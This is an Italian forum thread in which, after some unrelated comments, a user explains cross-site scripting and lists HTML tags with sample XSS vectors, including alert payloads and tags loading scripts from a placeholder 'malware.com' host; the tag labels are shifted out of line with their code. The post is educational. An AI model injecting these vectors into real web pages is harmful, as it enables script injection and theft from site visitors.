Solo gli utenti registrati possono leggere l'articolo sul forum. Registrati o effettua il login!
Solo gli utenti registrati possono leggere l'articolo sul forum. Registrati o effettua il login!
"Scusate, ma se quest'anno in Texas ci avete spedito questo deficiente, vuol dire che c'è speranza per tutti?"
Io avrei diviso questa categoria in due parti: "computer, telecomunicazioni e hardware" e semplicemente "software": Non ci credo che siti che parlano di hardware possano risultare più virali dei siti porno... Credo invece che la percentuale di siti che tratta di crack e pirateria in generale contribuisca troppo ad alzare la posizione in graduatoria della categoria.
Questa è la storia di 4 persone chiamate Ognuno, Qualcuno, Ciascuno e Nessuno. C'era un lavoro importante da fare e Ognuno era sicuro che Qualcuno lo avrebbe fatto. Ciascuno poteva farlo, ma Nessuno lo fece, Qualcuno si arrabbiò perché era il lavoro di Ognuno. Ognuno pensò che Ciascuno potesse farlo, ma Ognuno capì che Nessuno l'avrebbe fatto. Finì che Ognuno incolpò Qualcuno perché Nessuno fece ciò che Ciascuno avrebbe potuto fare.
ma come è possibile che solo visitando un sito internet si possa prendere un virus? Credevo che solo cliccando qualcosa di strano o passando il mouse sopra qualche immagine si era a rischio? Sistemi di difesam tecniche varie ?
Esisterebbe sul serio la necessità di approfondire dettagliatamente il discorso sul malware in
genere e soprattutto su quello direttamente correlato con le minacce provenienti dal web, ma
il tema è talmente vasto, complesso e le implicazioni inerenti la sfera della privacy e dei nostri
dati più sensibili, che varrebbe in realtà la pena farlo in maniera più omogenea e completa
Prendendo però spunto dalle notizie diffuse da G Data si può tranquillamente partire da un dato
di fatto, al quale si può risalire accedendo ai dati delle più svariate statistiche: circa il 35% del
totale degli attacchi informatici sono riconducibili a tecniche di SQL e CSS/XSS-Injection, con
una lieve predominanza dei primi (~20%) sui secondi (~15%).
Tralasciando quanto riguarda gli attacchi via SQL-Injection, che vengono portati a termine
usando stratagemmi sulle interrogazioni (query) fatte sul web ai database SQL (di ogni tipo,
non solo a quelli di mamma Microsoft ovviamente), per le tipologia di attacco più mirate ai siti
web con contenuti dinamici gli attaccanti utilizzano il metodo più diffuso che è appunto il Cross
Site Scripting (XSS o CSS Attack, che dir si voglia).
Questo metodo di attacco è generalmente riferito a tutte quelle tecniche che fanno leva, in
vario modo, sulle vulnerabilità del codice contenuto nelle applicazioni web per avere la possibilità
di inviare, dapprima, del contenuto malevolo ad un utente e, successivamente, potersi appropriare
di un qualche tipo di dato presente sul pc della vittima.
Per un attaccante è relativamente facile portare a compimento un attacco del genere, in quanto
allo stato attuale, una tipica pagina web è formata da contenuto di tipo dinamico. Al contrario
di quanto accadeva con le pagine di una volta, nelle quali il contenuto era del tutto statico, i
siti web attuali non riescono più ad avere il completo e pieno controllo sulla generazione delle
odierne pagine dinamiche.
Il nocciolo del problema è proprio che una o più serie di semplici script, non provenienti da una
catena di fiducia, possono con relativa facilità essere introdotti all'interno di pagine dinamiche.
Ciò si rende possibile in quanto né il sito web dove il codice iniziale risiede, tanto meno il browser
client della vittima, vero e proprio mezzo della elaborazione finale, hanno la possibilità di avere a
disposizione le informazioni per riconoscere il significato o la pericolosità del contenuto malevolo
e prendere le opportune precauzioni del caso.
Tramite il Cross Site Scripting un attaccante può infatti inglobare all'interno, vulnerabile, di una
pagina web dinamica, codice malevolo di tipo client-side e di varia natura.
In genere la natura del codice inserito può variare ed essere di tipo HTML, JavaScript, ActiveX,
VBScript o Flash; di tutti, comunque, l'elaborazione può essere eseguita direttamente in ambito
locale, sul pc della vittima.
Va da sé come il browser di casa Microsoft (e a seguire, tutti quelli con Trident Engine) possa
risultare abbondantemente avvantaggiato nell'essere preso di mira, in quanto l'unico a poter eseguire
codice ActiveX e VBScript.
La vittima, a propria insaputa, non deve necessariamente generare alcuna azione o click particolare
per trovarsi ad essere attaccata: tutto il necessario alla finalizzazione dell'attacco potrà esserre
elaborato tramite i vari rendering engines degli stessi browser.
Questo codice è rappresentato spesso da un semplice link html (per non far generare il sospetto),
il quale può rimandare ad un sito esterno. Questo, a propria volta, può contenere da ultimo il
codice definitivo, più complesso e mirato.
Per chiarire meglio il concetto, ogni pagina web che viene strutturata per passare un parametro
ad un database (tramite linguaggio Html, Php, ASP, etc.) può essere vulnerabile a questa tecnica
di attacco: in genere il codice vero e proprio è inserito a partire da un qualsiasi form di login, di
recupero password, di richiesta di info et similia.
Quando un visitatore del sito infetto richiede la pagina, lo script è automaticamente scaricato
(= nessuna azione supplementare necessaria, oltre la richiesta stessa) ed eseguito dal browser.
All'interno della pagine web vengono usualmente caricate informazioni provenienti da svariate
altre pagine di origine, alcuni contenenti semplice testo, altri immagini, video e contenuti vari.
Tutto questo viene pur sempre gestito tramite i tag propri del linguaggio Html come:
BODY
DIV
EMBED
IFRAME
IMG
LINK
OBJECT
SCRIPT
TABLE
Quello che molti non sospettano minimamente è che, talvolta, anche un semplice post integrato sulla
propria bacheca della piattaforma Facebook può contenere, a propria insaputa e nella più completa
impossibilità di intervento da parte dei server di Facebook stessa, uno o più script malevoli.
Per essere un attimino più pratici passo ad elencare questi tag, accompagnati da un minimo di semplice
codice che renderà chiaro come sia estremamente semplice intervenire nelle pagine Html per perseguire
attacchi di tipo CSS:
BODY
DIVcodice:questo tag può contenere uno script integrato che in genere usa l'evento "ONLOAD": BODY ONLOAD = alert("XSS") anche l'attributo "BACKGROUND" può allo stesso modo esser usato come exploit: BODY BACKGROUND = "javascript:alert('XSS')"
EMBEDcodice:questo tag, in maniera simile a quelli TABLE e TD può, tramite l'opzione "BACKGROUND-IMAGE" dell'attributo "STYLE", specificare uno script integrato: DIV STYLE = "background-image: url(javascript:alert('XSS'))" l'attributo "STYLE" del tag DIV può venire anch'esso facilmente manipolato: DIV STYLE = "width: expression(alert('XSS'));"
IFRAMEcodice:qualora l'attaccante, tramite l'attributo "SRC" di questo tag, volesse posizionare uno script malevolo all'interno di un file di tipo Flash, ci troveremmo di fronte ad un codice del genere: EMBED SRC = "http://malware.com/xss.swf" AllowScriptAccess = "always"
IMGcodice:il tag permette di importare codice Html all'interno della pagina tramite script: IFRAME SRC = ”http://malware.com/xss.html”
INPUTcodice:alcuni browser sono in grado di eseguire uno script con l'attributo "SRC" associato al tag IMG: IMG SRC = "javascript:alert('XSS');" IMG DYNSRC = "javascript:alert('XSS')" IMG LOWSRC = "javascript:alert('XSS')"
LINKcodice:se l'attributo "TYPE" del tag INPUT è impostato come "IMAGE", può facilmente essere manipolato per integrare uno script: INPUT TYPE = "IMAGE" SRC = "javascript:alert('XSS');"
OBJECTcodice:questo tag, che viene spesso usato per far riferimento a Cascading Style Sheets esterni, potrebbe anch'esso contenere uno script: LINK REL = "stylesheet" HREF = "javascript:alert('XSS');"
SCRIPTcodice:questo tag è spesso usato per caricare uno script da una origine esterna: OBJECT TYPE = "text/x-scriptlet" DATA = "http://malware.com/xss.html"
script integrato nello stesso sito web:codice:è il tag più comune e facile da rilevare e presenta in realtà due forme usuali: script esterno: SCRIPT SRC = http://malware.com/xss.js /SCRIPT
TABLEcodice:SCRIPT alert(“XSS”); /SCRIPT
codice:l'attributo "BACKGROUND" del tag TABLE può essere soggetto ad exploit, qualora venga utilizzato per far riferimento ad uno script anziché, come usuale, ad una immagine: TABLE BACKGROUND = "javascript:alert('XSS')" il medesimo concetto può applicarsi al tag TD, qualora usato come separazione delle celle all'interno di una tabella: TD BACKGROUND = "javascript:alert('XSS')"
Non so se riuscirò a trovare il tempo di poter approfondire autonomamente, comunque sia se
il tema dovesse interessare, mi presto volentieri a rivedere o approfondire i concetti, i dubbi e
le domande sui singoli aspetti.
p.s.
ho purtroppo dovuto eliminare tutti i delimitatori iniziali e finali (segni di minore e maggiore) dei tag
descritti dalle righe di codice e quant'altro: l'engine di VBulletin crea risultati imprevedibili nel parsing,
seppur posizionandoli all'interno dei rispettivi e previsti delimitatori di codice.
Ultima modifica di Totocellux : 22-11-2013 a 23:13
Ci sono attualmente 1 utenti che stanno visualizzando questa discussione. (0 utenti e 1 ospiti)